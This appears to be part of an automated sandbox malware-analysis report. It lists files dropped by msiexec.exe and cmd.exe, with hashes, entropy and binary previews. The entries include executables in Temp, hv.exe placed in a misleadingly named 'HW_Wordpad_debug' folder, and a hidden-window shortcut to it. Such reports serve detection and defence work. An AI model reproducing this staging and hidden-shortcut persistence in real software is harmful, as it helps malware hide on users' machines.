File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4545536
Entropy (8bit):	7.133116100379591
Encrypted:	false
SSDEEP:	98304:wszKnK7RZKZk8AZ1uWhgTsOTb0W5gmTKuCIUcPaFownQCICDQ:ORZkB1WHgmFPa+CICD
MD5:	88386787CFD61B1AE17AF08A3A34D7FE
SHA1:	939157AC5F338F85B3EBAA4F3988CC61A2F0D72C
SHA-256:	4CFF831225827A95BA451F107FAC4FA0016405B63449BC850FEADFD5FF2E577C
SHA-512:	C46385FD577FDB7C97FDB5F4F61B97840885354B59230FD3659A5FD85BEB0F18A9290D5BE3E8FEF4B9CD837C17A9BA4C4CC63E2F26BF08F4AE34F0BA7212AD77
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L......d.........."!......&...........#......................................@F.....!.F...@A.........................qC..9..=.C.d.....E.......................E..)..P?C......................>C......EB.............X.C..............................text.....&.......&................. ..`.rdata...E....&..F....&.............@..@.data.........C..X....C.............@....00cfg........D......(D.............@..@.tls..........D......D.............@...malloc_h......D......,D............. ..`.rsrc.........E.......D.............@..@.reloc...)....E.....2D.............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Caret\moose.yaml

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	35012
Entropy (8bit):	4.930068006610785
Encrypted:	false
SSDEEP:	768:s7ziqeOavPMLtEK9q35RHgeR9YNxDlVqZPwHG4s:2iylqRRHgJNsus
MD5:	26787DB2B7C8270A97CA72F9BB28FA3D
SHA1:	B9270818AB00D8F9850DCBADDB5C59D6884542C9
SHA-256:	4B8D883AC5894346294EFBF7B34C593A0069C20538E5F4B1D82470EE7DDD48B3
SHA-512:	509BE16A7D0634552F56E7D68679D1586F1FC2523CA6648535FD94DED02DD8CDEAAEC671BF26A975AFB82FC03D00B36A5176042470D19A9D276FBC5762E031BC
Malicious:	false
Preview:	.[.ao....jxe..p...j\.`..I.I.]........E....u.....X...[....Ss.....`.......C.j....KT..Ed..y.f.R.id.a...^ibNTH.....H..M.f[e]^.VK..Bgs..Cv..u`.kxSZ.iP..[I....].Nv.kdjB.].g.O..e..........EF.Q...U...BD.._..dn..pdT.M_.p..eW.w..Zb....EG..]..XiIN].Ek.d.k......jvEJ.GpYq]....P..FEqs.N..J..qYafZ....N.`.........TtDoU.Q.Yg....[.fhqM]...x.r.O..kW...oi......p.....t.\..]k..l\..^.j.J...cT.........N.T.T.M.Mt.bgED..CgIn._...KnO..u..P.J.l.JpZ.......g`...G....B...v..MtT..q.k].dxTI.U.Sl.KW.a...k.W...Md..i..tQk.K.v.....FN.O.wKCfB.k.......V..Y..Lf.bhW....Q.Hv\.b.a.\.p..._......j....Py...H...Ap..T.ABrDV.k.T.V...^....A.vs^.Cf.^y....Nk.....lJ.A..B..iQ.vt..NV.dRDG.k..kMJ]...\.IS..e..a.......A.Ke.B...\Ux.X..pk.A.V.r.A.jfRd.hu.OBWqp..s\.p.`...R.......b..fEyHXM^.v....lr.^i^w.Sbw.........S.SDKs].\Y^...K._.FA.S.Q.....wT.Z...O[l.Y..P.R..dUw.U.j....s.tO.SUK.gCoJ...fun.`.uYDj.FC.._..\RkO..B.r....h.....]^...Ua.c..Qr....K..`k...x..e.x.\wZX..LP.NyC[.O...O....O_.AR.gZ\dI_q..j....Q.aZA.v.gGMv.rk...]...L`h..K.c..u.y....C..U[Js.E

C:\Users\user\AppData\Local\Temp\Caret\tephroite.vhd

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	4526833
Entropy (8bit):	7.94656355323411
Encrypted:	false
SSDEEP:	49152:slwy9KhLISXKhzd17n8dyUR5hF9NMtkr46ml369P9t7zMYp/XmTpBEsGvJ6HYorn:sdk9IGGGphB46TV9xzfp+EjvQ4oY+nN
MD5:	A3B8C803CEE26019605D2CAFBAC30212
SHA1:	1D2EEFB531E87EEC5773682926DCC2B4056E2F81
SHA-256:	10CC9460D501B83505CB6DCA2829EB9BB031905D25018BB18396E74AFA0CCF7F
SHA-512:	CE8D7D7FBB96747F5243E6FCDCABB41ADB8233A5BCE2A137D7E695E69FA63E316CFAE1F8CD876421E0C4CE84872B019671251A03964BDECFF4369F658BFBAEFF
Malicious:	false
Preview:	.o.G.vM.i..d..f...QJ...h.i....Jjxv.S....Ty..M..Ya]..yt\qU...c]V..^.B].....a.L.S.Ss.p.X....].^.....M.i..yk...ve.HcX.hy..n...[.....h.].Io......T.....XtVOZr.^\....J.t.a.di.s...E..efI..dwlb.UiYm...BXr..i......a..F..sR....BVYE.oWy...`BWJ.....T...K...._..NXP..x.E.qq......o...rI.Yp._N.ppu..Z..b..M.[...gGaN.H]...neE.t.Ll..en..............].Vk.....I.V..eI..Y[ln.OJQmvo.L.c...u.d...mnxq.l....C`.U.f..VdQj..KZ..Q.I.mCMU....].YcNJ...Ve...Ks.\c.ts.XX.R..Ei..WT.Q..\lT..E..`.`..uG..Hb].Gyd`.^....Od.KD.CG...a.F.tx..X.ALv.W.u.c[.m.X..B.aq..k.^v.......C.....WSrZV..a]..y.B.e].E..I..b..U....hp.J.\Vk......F..JUW...m..mjb.Y.hF..o.xZ..SX...g.Q...Rg.ks.DM.T].n]..E^K...Lt.GsPqI..X..Q...\f]AbC.I.eL....iSY..a.bG.c..yw[x...qUBuv..Z....C.T....iSW.RgyUGtsD.KoIv....jGM.EiH...R.X..GK....jmoEFvBrL.xR.c....F...p....e.k..iBW\....a...^ah.lr.._..n....nQo..S.s....TJ....B.Yj.c..llf..kM.....dvv.cmiZZ\^ixi^.r.d.......WMWo.QK`sbU\v.P....uR..HtJB.j_.h[...`.uEd....Tu..Hx...Y.._`ug_.SE...pxEkK...K....B.U....v....y.e.D.Jd.Euv.PP.X.i

C:\Users\user\AppData\Local\Temp\ICACHE-050CB177.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe
File Type:	data
Category:	dropped
Size (bytes):	262144
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	EC87A838931D4D5D2E94A04644788A55
SHA1:	2E000FA7E85759C7F4C254D4D9C33EF481E459A7
SHA-256:	8A39D2ABD3999AB73C34DB2476849CDDF303CE389B35826850F9A700589B4A90
SHA-512:	9DD0C30167FBEAF68DFBBAD8E1AF552A7A1FCAE120B6E04F1B41FA76C76D5A78922FF828F5CFFD8C02965CDE57D63DCBFB4C479B3CB49C9D8107A7D5244E9D03
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ICACHE-2FD1419F.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe
File Type:	data
Category:	dropped
Size (bytes):	262144
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	EC87A838931D4D5D2E94A04644788A55
SHA1:	2E000FA7E85759C7F4C254D4D9C33EF481E459A7
SHA-256:	8A39D2ABD3999AB73C34DB2476849CDDF303CE389B35826850F9A700589B4A90
SHA-512:	9DD0C30167FBEAF68DFBBAD8E1AF552A7A1FCAE120B6E04F1B41FA76C76D5A78922FF828F5CFFD8C02965CDE57D63DCBFB4C479B3CB49C9D8107A7D5244E9D03
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ICACHE-56D89DA6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\Caret\hv.exe
File Type:	data
Category:	dropped
Size (bytes):	262144
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	EC87A838931D4D5D2E94A04644788A55
SHA1:	2E000FA7E85759C7F4C254D4D9C33EF481E459A7
SHA-256:	8A39D2ABD3999AB73C34DB2476849CDDF303CE389B35826850F9A700589B4A90
SHA-512:	9DD0C30167FBEAF68DFBBAD8E1AF552A7A1FCAE120B6E04F1B41FA76C76D5A78922FF828F5CFFD8C02965CDE57D63DCBFB4C479B3CB49C9D8107A7D5244E9D03
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ILIST-0259344A.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe
File Type:	data
Category:	dropped
Size (bytes):	262144
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	EC87A838931D4D5D2E94A04644788A55
SHA1:	2E000FA7E85759C7F4C254D4D9C33EF481E459A7
SHA-256:	8A39D2ABD3999AB73C34DB2476849CDDF303CE389B35826850F9A700589B4A90
SHA-512:	9DD0C30167FBEAF68DFBBAD8E1AF552A7A1FCAE120B6E04F1B41FA76C76D5A78922FF828F5CFFD8C02965CDE57D63DCBFB4C479B3CB49C9D8107A7D5244E9D03
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ILIST-24B2E452.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe
File Type:	data
Category:	dropped
Size (bytes):	262144
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	EC87A838931D4D5D2E94A04644788A55
SHA1:	2E000FA7E85759C7F4C254D4D9C33EF481E459A7
SHA-256:	8A39D2ABD3999AB73C34DB2476849CDDF303CE389B35826850F9A700589B4A90
SHA-512:	9DD0C30167FBEAF68DFBBAD8E1AF552A7A1FCAE120B6E04F1B41FA76C76D5A78922FF828F5CFFD8C02965CDE57D63DCBFB4C479B3CB49C9D8107A7D5244E9D03
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ILIST-6874D6BA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\Caret\hv.exe
File Type:	data
Category:	dropped
Size (bytes):	262144
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	EC87A838931D4D5D2E94A04644788A55
SHA1:	2E000FA7E85759C7F4C254D4D9C33EF481E459A7
SHA-256:	8A39D2ABD3999AB73C34DB2476849CDDF303CE389B35826850F9A700589B4A90
SHA-512:	9DD0C30167FBEAF68DFBBAD8E1AF552A7A1FCAE120B6E04F1B41FA76C76D5A78922FF828F5CFFD8C02965CDE57D63DCBFB4C479B3CB49C9D8107A7D5244E9D03
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\bqjgdd

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	2561536
Entropy (8bit):	6.708220753016607
Encrypted:	false
SSDEEP:	49152:OYtMuFyhuzAjFy54PjifQ1JY51qNFjJRvGF2oDqivl7BohlqkgXy3DeVubgg4pKo:UwQVsTzJhg4pKo
MD5:	49E8AB66746F51C63581CA933FDD20ED
SHA1:	3D017878165271F556CA5ABF0D933CE895580238
SHA-256:	2763F71DBEF8B91B8ECBFFEC2E81E2B6C13CC72F1479AFEE951C025D95669E97
SHA-512:	95EF4EAADB35AF0B529D65D5B7B26FC3F30363E8782E0E3DBFC8A3BF34B735FC6852F6B939F540144F6D5B2BDF412A327D799EF4EB1C9D67C456DCFC18A0EF91
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....6g^.................d!...&.....W..........@.............................@1......'...`... ...............................................0.......1.8....@&..t............1..............................:&.(...................h.0..............................text...Hb!......d!.................`..`.data...P.....!......h!.............@....rdata.......P"......0".............@..@.pdata...t...@&..v... &.............@..@.xdata...W....&..X....&.............@..@.bss......... '..........................idata........0.......&.............@....CRT....0.....0.......&.............@....tls..........0.......&.............@....rsrc...8.....1.......&.............@..@.reloc........1.......&.............@..Bnlgn..... ... 1.......&.............@...................................................................................................................................

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	353
Entropy (8bit):	5.342607997466767
Encrypted:	false
SSDEEP:	6:YE46v1yPYzpJJ56s/u46v1sfj30LQJjDrwv/u46v1pOrPv56s/C:Ykv1/zp56s/Wv123A0Dkv/Wv1aPv56s6
MD5:	D490F648887090C4C194C6872EC9CEF5
SHA1:	444FBB3A37C6D5EBC6E7390E8E1F6DAFC6CACA75
SHA-256:	0BFBC794D5C4A9E1E8FAB8221851E8B30816FF957EE14260E4B9A5A51CF1D316
SHA-512:	24EF7708E63A71740D37754D1BDBF7A53811D4C767ED73962212F94DEEF9184ADE079434426BBCD13B0FC685558F2A5256DD354DD3014B278C4C49231C6BA8DE
Malicious:	false
Preview:	{"logTime": "0109/134104", "correlationVector":"Fq3NqYvDaMAevWHVqL+1i2","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "0109/134104", "correlationVector":"AC48316E89DF4C31B7BA06371DD052C1","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "0109/134104", "correlationVector":"ADI9fgiSgg8t8JJdOtCZVf","action":"EXTENSION_UPDATER", "result":""}.

C:\Users\user\AppData\Local\Temp\d1a8e55b-9bd2-4cd9-9a46-6b74e8c3b0a9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	154477
Entropy (8bit):	7.835886983924039
Encrypted:	false
SSDEEP:	3072:edP3YiyHk53xr3zWwaFYgn5JFug0HjaHNK7XeSD/r/pLbWNiOAo1np:edPYJHAzyVu7HjacuSD/rBPBOJnp
MD5:	14937B985303ECCE4196154A24FC369A
SHA1:	ECFE89E11A8D08CE0C8745FF5735D5EDAD683730
SHA-256:	71006A5311819FEF45C659428944897184880BCDB571BF68C52B3D6EE97682FF
SHA-512:	1D03C75E4D2CD57EEE7B0E93E2DE293B41F280C415FB2446AC234FC5AFD11FE2F2FCC8AB9843DB0847C2CE6BD7DF7213FCF249EA71896FBF6C0696E3F5AEE46C
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........%0............G.m.}...CG.....a.s.:.S..QiI.fT.k.MdOF.2....D...v`m...M.7'.R.d...8....2..~.<w8!.W..Sg.._A6.(.pC..w.=..!..7h!J...].....3......Kf..k...\|....6./.p.....A....e.1.y.<~Mu..+(v8W........?=.V+.Gb&...u8)...=Qt...... ......x.}.f..&X.SN9e..L....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...G0E.!....~..E...Au.C.q..y.?2An.a..Zn}. H~.vtgI...o.\|.j.e....p.........".&...........Z]o.H..+..zF.......S.E}@.F..".P`...3......jW....H.H...:..8.......<...........Z.e.>..vV.......J.,/.X.....?.%.....6....m#.u].Z...[.s.M_...J.."9l..l...,\|.....r...QC.....4:....wj.O...5....s.n.%.....y....c.....#F........)gv(..!S

C:\Users\user\AppData\Local\Temp\da779bcb-846c-4484-b5c0-a955f07a0c60.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\hcbghcccidepql

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jan 9 12:40:03 2025, mtime=Thu Jan 9 12:40:04 2025, atime=Sun Jan 5 11:47:58 2025, length=9094368, window=hide
Category:	dropped
Size (bytes):	890
Entropy (8bit):	5.019850613125872
Encrypted:	false
SSDEEP:	12:8BV7a4FDSWCy+dY//96HA3uLCZIIGKu9yjAoHrHZUJHB1bvBmV:8BBf6+r4GIKvAgqn1bvBm
MD5:	D2EC98042B5FA69788C0E7657C0D00AD
SHA1:	4215691A000C04028E15F51FE3B6A3E07AD2E061
SHA-256:	147A7B35E4E1359D19563E6A987AC783933255C7E05B8EC0CDF71DE2ABBF9793
SHA-512:	9AA47B0AFD821A5226C0B17E2BD65EBEA808859680545C0C7666CF0019CBAFF944DDC4CCB1FA1E9217EE2BABDE162D11F8A6D291F0D59C6F6770105D847E9E1C
Malicious:	false
Preview:	L..................F.... ........b....s..b......p_...........................:..DG..Yr?.D..U..k0.&...&......vk.v......G..b...c...b......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^)Z.l...........................%..A.p.p.D.a.t.a...B.V.1.....)Z.m..Roaming.@......CW.^)Z.m..........................&...R.o.a.m.i.n.g.....j.1.....)Z.m..HW_WOR~1..R......)Z.m)Z.m.............................H.W._.W.o.r.d.p.a.d._.d.e.b.u.g.....T.2....%Z.e .hv.exe..>......)Z.m)Z.m..............................h.v...e.x.e.......e...............-.......d............!.I.....C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe..%.....\.....\.R.o.a.m.i.n.g.\.H.W._.W.o.r.d.p.a.d._.d.e.b.u.g.\.h.v...e.x.e.`.......X.......128757...........hT..CrF.f4... .j.T..b...,.......hT..CrF.f4... .j.T..b...,......E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

C:\Users\user\AppData\Local\Temp\mefglukvu

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	2561536
Entropy (8bit):	6.708220753016607
Encrypted:	false
SSDEEP:	49152:OYtMuFyhuzAjFy54PjifQ1JY51qNFjJRvGF2oDqivl7BohlqkgXy3DeVubgg4pKo:UwQVsTzJhg4pKo
MD5:	49E8AB66746F51C63581CA933FDD20ED
SHA1:	3D017878165271F556CA5ABF0D933CE895580238
SHA-256:	2763F71DBEF8B91B8ECBFFEC2E81E2B6C13CC72F1479AFEE951C025D95669E97
SHA-512:	95EF4EAADB35AF0B529D65D5B7B26FC3F30363E8782E0E3DBFC8A3BF34B735FC6852F6B939F540144F6D5B2BDF412A327D799EF4EB1C9D67C456DCFC18A0EF91
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....6g^.................d!...&.....W..........@.............................@1......'...`... ...............................................0.......1.8....@&..t............1..............................:&.(...................h.0..............................text...Hb!......d!.................`..`.data...P.....!......h!.............@....rdata.......P"......0".............@..@.pdata...t...@&..v... &.............@..@.xdata...W....&..X....&.............@..@.bss......... '..........................idata........0.......&.............@....CRT....0.....0.......&.............@....tls..........0.......&.............@....rsrc...8.....1.......&.............@..@.reloc........1.......&.............@..Bnlgn..... ... 1.......&.............@...................................................................................................................................

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
